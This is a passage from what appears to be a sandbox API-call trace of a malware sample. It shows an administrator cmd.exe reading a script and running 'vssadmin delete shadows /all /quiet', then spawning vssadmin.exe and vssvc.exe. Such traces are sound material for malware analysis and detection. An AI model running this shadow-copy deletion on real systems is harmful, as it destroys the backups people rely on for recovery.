lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.037] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0045.037] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.037] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.037] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.037] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0045.037] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.037] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.037] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.037] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0045.037] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.037] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.038] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.038] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0045.038] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.038] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.038] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.038] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0045.038] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.038] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.038] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.038] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0045.038] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.038] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.038] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.038] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0045.038] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.038] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.039] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.039] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0045.039] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.039] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.039] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.039] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0045.039] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.039] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.039] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.039] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0045.039] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.039] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.039] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.039] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0045.040] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.040] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.040] ReadFile (in: hFile=0xe8, lpBuffer=0x4a89c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f838, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesRead=0x24f838*=0x1, lpOverlapped=0x0) returned 1 [0045.040] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a89c320, cbMultiByte=1, lpWideCharStr=0x4a89e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0045.040] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.040] GetFileType (hFile=0xe8) returned 0x3 [0045.040] _get_osfhandle (_FileHandle=0) returned 0xe8 [0045.040] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.040] _get_osfhandle (_FileHandle=1) returned 0xf4 [0045.040] GetFileType (hFile=0xf4) returned 0x3 [0045.040] _get_osfhandle (_FileHandle=1) returned 0xf4 [0045.040] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a89c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0045.040] WriteFile (in: hFile=0xf4, lpBuffer=0x4a89c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x24f818, lpOverlapped=0x0 | out: lpBuffer=0x4a89c320*, lpNumberOfBytesWritten=0x24f818*=0x24, lpOverlapped=0x0) returned 1 [0045.040] GetProcessHeap () returned 0x2c0000 [0045.040] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x4012) returned 0x2df630 [0045.041] GetProcessHeap () returned 0x2c0000 [0045.041] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2df630 | out: hHeap=0x2c0000) returned 1 [0045.041] GetProcessHeap () returned 0x2c0000 [0045.041] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xb0) returned 0x2d97e0 [0045.041] GetProcessHeap () returned 0x2c0000 [0045.041] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x22) returned 0x2d4610 [0045.043] GetProcessHeap () returned 0x2c0000 [0045.043] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x48) returned 0x2daa90 [0045.043] GetConsoleOutputCP () returned 0x4e3 [0045.043] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a89bfe0 | out: lpCPInfo=0x4a89bfe0) returned 1 [0045.043] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0045.044] GetConsoleTitleW (in: lpConsoleTitle=0x24f7d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0045.044] GetProcessHeap () returned 0x2c0000 [0045.044] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x218) returned 0x2d9910 [0045.044] GetProcessHeap () returned 0x2c0000 [0045.044] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x5a) returned 0x2d9b30 [0045.044] GetProcessHeap () returned 0x2c0000 [0045.044] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x420) returned 0x2d9090 [0045.044] SetErrorMode (uMode=0x0) returned 0x0 [0045.044] SetErrorMode (uMode=0x1) returned 0x0 [0045.044] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2d90a0, lpFilePart=0x24f060 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24f060*="Desktop") returned 0x25 [0045.044] SetErrorMode (uMode=0x0) returned 0x1 [0045.044] GetProcessHeap () returned 0x2c0000 [0045.044] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2d9090, Size=0x6e) returned 0x2d9090 [0045.045] GetProcessHeap () returned 0x2c0000 [0045.045] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2d9090) returned 0x6e [0045.045] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0045.045] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0045.045] GetProcessHeap () returned 0x2c0000 [0045.045] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x128) returned 0x2d5b70 [0045.045] GetProcessHeap () returned 0x2c0000 [0045.045] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x240) returned 0x2c1ab0 [0045.045] GetProcessHeap () returned 0x2c0000 [0045.045] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2c1ab0, Size=0x12a) returned 0x2c1ab0 [0045.045] GetProcessHeap () returned 0x2c0000 [0045.045] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2c1ab0) returned 0x12a [0045.045] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a88f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0045.045] GetProcessHeap () returned 0x2c0000 [0045.045] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xe8) returned 0x2d9db0 [0045.045] GetProcessHeap () returned 0x2c0000 [0045.045] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2d9db0, Size=0x7e) returned 0x2d9db0 [0045.045] GetProcessHeap () returned 0x2c0000 [0045.045] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2d9db0) returned 0x7e [0045.046] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0045.046] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x24edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24edd0) returned 0xffffffffffffffff [0045.046] GetLastError () returned 0x2 [0045.046] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x24edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24edd0) returned 0xffffffffffffffff [0045.046] GetLastError () returned 0x2 [0045.046] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0045.046] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x24edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24edd0) returned 0x2d9ba0 [0045.047] FindClose (in: hFindFile=0x2d9ba0 | out: hFindFile=0x2d9ba0) returned 1 [0045.047] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x24edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24edd0) returned 0xffffffffffffffff [0045.047] GetLastError () returned 0x2 [0045.047] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x24edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24edd0) returned 0x2d9ba0 [0045.047] FindClose (in: hFindFile=0x2d9ba0 | out: hFindFile=0x2d9ba0) returned 1 [0045.047] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0045.047] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0045.047] GetConsoleTitleW (in: lpConsoleTitle=0x24f320, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0045.048] GetProcessHeap () returned 0x2c0000 [0045.048] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x21c) returned 0x2d9110 [0045.048] GetConsoleTitleW (in: lpConsoleTitle=0x2d9120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0045.048] GetProcessHeap () returned 0x2c0000 [0045.048] RtlReAllocateHeap (Heap=0x2c0000, Flags=0x0, Ptr=0x2d9110, Size=0xc0) returned 0x2d9110 [0045.048] GetProcessHeap () returned 0x2c0000 [0045.048] RtlSizeHeap (HeapHandle=0x2c0000, Flags=0x0, MemoryPointer=0x2d9110) returned 0xc0 [0045.048] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0045.049] GetProcessHeap () returned 0x2c0000 [0045.049] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d9110 | out: hHeap=0x2c0000) returned 1 [0045.050] InitializeProcThreadAttributeList (in: lpAttributeList=0x24f0d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24f098 | out: lpAttributeList=0x24f0d8, lpSize=0x24f098) returned 1 [0045.050] UpdateProcThreadAttribute (in: lpAttributeList=0x24f0d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x24f088, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24f0d8, lpPreviousValue=0x0) returned 1 [0045.050] GetStartupInfoW (in: lpStartupInfo=0x24f1f0 | out: lpStartupInfo=0x24f1f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0045.050] GetProcessHeap () returned 0x2c0000 [0045.050] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x20) returned 0x2d4640 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0045.050] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.051] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0045.052] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0045.052] GetProcessHeap () returned 0x2c0000 [0045.052] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d4640 | out: hHeap=0x2c0000) returned 1 [0045.052] GetProcessHeap () returned 0x2c0000 [0045.052] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x12) returned 0x2d8900 [0045.052] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x24f110*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24f0c0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x24f0c0*(hProcess=0x50, hThread=0x54, dwProcessId=0x78c, dwThreadId=0x1c4)) returned 1 [0045.600] CloseHandle (hObject=0x54) returned 1 [0045.600] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0045.600] GetProcessHeap () returned 0x2c0000 [0045.601] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2deb10 | out: hHeap=0x2c0000) returned 1 [0045.601] GetEnvironmentStringsW () returned 0x2deb10* [0045.601] GetProcessHeap () returned 0x2c0000 [0045.601] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0xb0e) returned 0x2df630 [0045.601] FreeEnvironmentStringsW (penv=0x2deb10) returned 1 [0045.601] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x24e9c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x24e9c8, ReturnLength=0x0) returned 0x0 [0045.601] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x24ea00, nSize=0x380, lpNumberOfBytesRead=0x24e9c0 | out: lpBuffer=0x24ea00*, lpNumberOfBytesRead=0x24e9c0*=0x380) returned 1 [0045.601] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x37035000" os_pid = "0x2ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa0c" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 19 os_tid = 0x750 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3425d000" os_pid = "0x78c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa0c" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x1c4 Thread: id = 22 os_tid = 0x820 Thread: id = 23 os_tid = 0x830 Thread: id = 24 os_tid = 0x840 Thread: id = 25 os_tid = 0x850 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x31221000" os_pid = "0x860" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006fd9e" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 26 os_tid = 0x8d0 Thread: id = 27 os_tid = 0x8c0 Thread: id = 28 os_tid = 0x8b0 Thread: id = 29 os_tid = 0x8a0 [0061.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe3dd60 | out: lpSystemTimeAsFileTime=0xe3dd60*(dwLowDateTime=0xd1721d00, dwHighDateTime=0x1d5d105)) [0061.964] GetCurrentProcessId () returned 0x860 [0061.964] GetCurrentThreadId () returned 0x8a0 [0061.964] GetTickCount () returned 0x1158cb6 [0061.964] QueryPerformanceCounter (in: lpPerformanceCount=0xe3dd68 | out: lpPerformanceCount=0xe3dd68*=20315126641) returned 1 [0061.964] malloc (_Size=0x100) returned 0x1c8e80 Thread: id = 30 os_tid = 0x890 Thread: id = 31 os_tid = 0x880 Thread: id = 32 os_tid = 0x870 Thread: id = 47 os_tid = 0x998 Thread: id = 54 os_tid = 0xb38 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9014000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT 